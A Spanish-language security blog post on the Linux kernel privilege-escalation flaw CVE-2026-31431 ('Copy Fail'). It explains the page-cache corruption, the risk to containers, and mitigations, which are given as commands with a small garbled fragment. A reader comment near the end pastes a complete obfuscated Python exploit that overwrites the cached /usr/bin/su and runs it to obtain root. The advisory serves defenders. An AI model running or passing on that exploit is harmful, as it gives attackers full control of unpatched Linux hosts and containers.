La vulnerabilidad, CVE-2026-31431, bautizada Copy Fail, es un pequeño script de 732 bytes que puede brindarle a un usuario normal acceso completo a root. Sin condiciones de carrera. Sin trucos de sincronización. No hay que bloquear el sistema diez veces con la esperanza de que uno funcione. Simplemente funciona. Todas las veces.
CVE-2026-31431 es una vulnerabilidad crítica de Escalamiento de Privilegios Locales (LPE) que rompe algunas suposiciones fundamentales de confianza en el kernel de Linux. Obliga a afrontar la realidad de que incluso operaciones aparentemente inocuas pueden ocultar profundas fallas de seguridad.
Lo extraño es cuánto tiempo estuvo ahí, en silencio, sin alarmas. No hay signos evidentes. Solo esperando que alguien conecte los puntos. Este hallazgo fue posible gracias a la inteligencia artificial, pero surgió a partir de una observación del investigador de Theori, Taeyang Lee, quien estudiaba cómo el subsistema criptográfico de Linux interactúa con los datos almacenados en la caché de páginas. Utilizó Xint Code para ampliar su investigación a todo el subsistema criptográfico, y Copy Fail fue el hallazgo más importante del informe.
No se trata de condiciones de carrera, trucos de sincronización ni de una distribución específica. Simplemente funciona. Afecta básicamente a todas las distro: Ubuntu, Debian, Amazon Linux, RHEL, SUSE. Mismo script, mismo resultado: root. Su divulgación pública fue seguida rápidamente por esfuerzos coordinados de parcheo en toda la industria, un testimonio de su grave impacto.
Lo que realmente preocupa es cómo funciona: el atacante no cambia archivos en el disco, sino que corrompe silenciosamente el caché de la página, que es lo que utiliza el sistema cuando lee y ejecuta archivos. Entonces el archivo se ve perfectamente y las sumas de verificación coinciden. Nada aparece modificado. Pero en la memoria ha sido alterado.
El problema es que el kernel confía en esa cacha, en esa versión en memoria. Entonces si se toma algo como /usr/bin/su, que se ejecuta con privilegios elevados, se inyectan algunos bytes en su copia en caché y se ejecuta... se obtiene root. El disco nunca cambia, por lo que sus herramientas de detección habituales simplemente no detectan nada. Es decir que el ataque también es sigiloso de una manera cruel.
Ha habido errores graves en Linux antes. Por ejemplo Dirty Cow (CVE-2016-5195) funcionaba pero era poco confiable. Dirty Pipe (CVE-2022-0847) era inteligente pero limitado. Copy Fail está limpio, funciona y ni siquiera intenta ocultar su eficacia.
Y luego está el ángulo del contenedor, que podría ser la parte más inquietante de todas. Como la caché de la página se comparte, esto no es sólo un problema local. En la configuración correcta, este ataque puede saltar a través de contenedores. Eso significa que un proceso con pocos privilegios dentro de un contenedor podría afectar al host o a las cargas de trabajo vecinas. Si está ejecutando una infraestructura multiinquilino, eso debería hacer que se le revuelva un poco el estómago.
La causa raíz es básicamente una mala suposición en el subsistema criptográfico del kernel. Un modo específico llamado authencesn escribe unos cuantos bytes más allá de donde debería, y gracias a cómo el núcleo conecta las cosas, esos bytes aterrizan directamente en el contenido almacenado en caché de un archivo. Eso es todo. Cuatro bytes en el lugar equivocado y todo el sistema se desmorona.
La solución ya se está implementando y básicamente elimina la optimización que lo hizo posible. Efectivamente, en ajuste de rendimiento de hace años termina abriendo la puerta a algo grave.
Este no es uno de los errores que "tal vez se puedan explotar en un laboratorio". Esto es todo lo contrario. Es simple, portátil y confiable. Esa es una mala combinación.
Qué hacer
Parchear ahora, repensar para siempre. CVE-2026-31431, "Copy Fail", es una vulnerabilidad crítica de escalamiento de privilegios locales de alto impacto que ha persistido en los kernels de Linux desde 2017. Su facilidad de explotación a través de un script PoC mínimo en prácticamente todas las distribuciones principales la convierte en una amenaza inmediata.
- Parchear inmediatamente o aplicar la mitigación (ver abajo): priorizar y aplicar todas las actualizaciones del kernel disponibles de su proveedor de distribución para abordar CVE-2026-31431. Esto no es negociable para todos los sistemas Linux.
- Auditar accesos locales: revisar y restringir el acceso de los usuarios locales a los sistemas críticos. Si bien "Copy Fail" requiere acceso local inicial, limitar los posibles puntos de entrada es siempre una mejor práctica.
- Controlar escapes de los contenedores: si ejecuta entornos en contenedores (Docker, Kubernetes), asuma que sus nodos son vulnerables si no se parchean. Aísle las cargas de trabajo y asegúrese de que los núcleos del host estén actualizados.
A qué prestar atención
- Disponibilidad de exploits: espere que las herramientas públicas de exploits se generalicen muy rápidamente, si aún no lo han hecho. La baja complejidad lo convierte en un objetivo principal para atacantes oportunistas.
- Errores lógicos futuros: "Copy Fail" destaca una clase de errores lógicos sutiles que son notoriamente difíciles de detectar. Esta vulnerabilidad es un presagio; se espera un enfoque renovado por parte de los investigadores sobre temas similares en código de bajo nivel y alta confianza.
- Escrutinio de la cadena de suministro: A continuación se debe realizar un mayor escrutinio sobre la seguridad de las bibliotecas y los componentes de la infraestructura central. Se deben exigir revisiones de seguridad más rigurosas, verificación formal y análisis estático avanzado de sus proveedores y proyectos de código abierto.
Reglas YARA y SIGMA
Ya se han publicado reglas de YARA para la detección para Copy Fail / CVE-2026-31431. Cubre artefactos de prueba de concepto públicos, incluyendo payloads conocidos, fragmentos de código de exploit y URLs encontradas en material compartido. Las reglas más genéricas para entornos de clientes aún están en fase de pruebas.
Reglas SIGMA (creadas por @_swachchhanda_). Cubren patrones de explotación sospechosos relacionados con Copy Fail, incluyendo el comportamiento de ejecución de binarios con setuid y la ejecución de shell con argv nulo.
Mitigación
En el caso de ramas de Debian, esta mitigación impide que el kernel cargue el componente vulnerable. Es una forma efectiva de "bloquear" un driver o componente del kernel sin borrarlo.
# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf # rmmod algif_aead 2 > /dev/null || true# smod | grep algif
Verificar con: modprobe -n -v algif_aead
El resultado esperado debería incluir: install /bin/false
Con respecto a ramas de Red Hat, ese módulo está integrado en el kernel. Se recomienda mitigarlo con el siguiente comando:
grubby --update-kernel=ALL --args='initcall_blacklist=algif_aead_init'
Luego reiniciar.
Si desea utilizar esa solución sugerida (deshabilitar el módulo del kernel `algif_aead` con una configuración de modprobe) y no desea ejecutar la shell para obtener root real, sino solo verificar si el módulo se puede cargar, aquí hay una versión legible de sus primeras líneas:
$ python3 -c 'import socket;
s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0);
s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));
print("algif_aead successfully loaded, mitigation not effective; remove it with: # rmmod algif_aead")'
Si el script imprime el mensaje de error, significa que el sistema pudo cargar el módulo algif_aead y, por lo tanto, la mitigación falló o no se aplicó correctamente, y el sistema sigue siendo vulnerable.
Telefónica ha publicado un informe técnico con más detalles.
Fuente: Xint-io
Comando: python3 -c 'import os,zlib,socket;d=lambda x:bytes.fromhex(x);f=os.open("/usr/bin/su",0);e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"));i=0
ReplyDeletewhile i<len(e):
s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));SOL_ALG=279
s.setsockopt(SOL_ALG,1,d("0800010000000010"+"0"*64));s.setsockopt(SOL_ALG,5,None,4)
u,_=s.accept();u.sendmsg([b"A"*4+e[i:i+4]],[(SOL_ALG,3,b"\x00"*4),(SOL_ALG,2,b"\x10"+b"\x00"*19),(SOL_ALG,4,b"\x08"+b"\x00"*3)],32768)
r,w=os.pipe();os.splice(f,w,i+4,offset_src=0);os.splice(r,u.fileno(),i+4);i+=4
os.system("su")'
Red Hat aún no publica actualización de kernel. La mitigación del artículo no funciona porque ese módulo en red hat está integrado en el kernel. Recomienda mitigarlo con el siguiente comando: grubby --update-kernel=ALL --args='initcall_blacklist=algif_aead_init'. Luego reiniciar.
ReplyDelete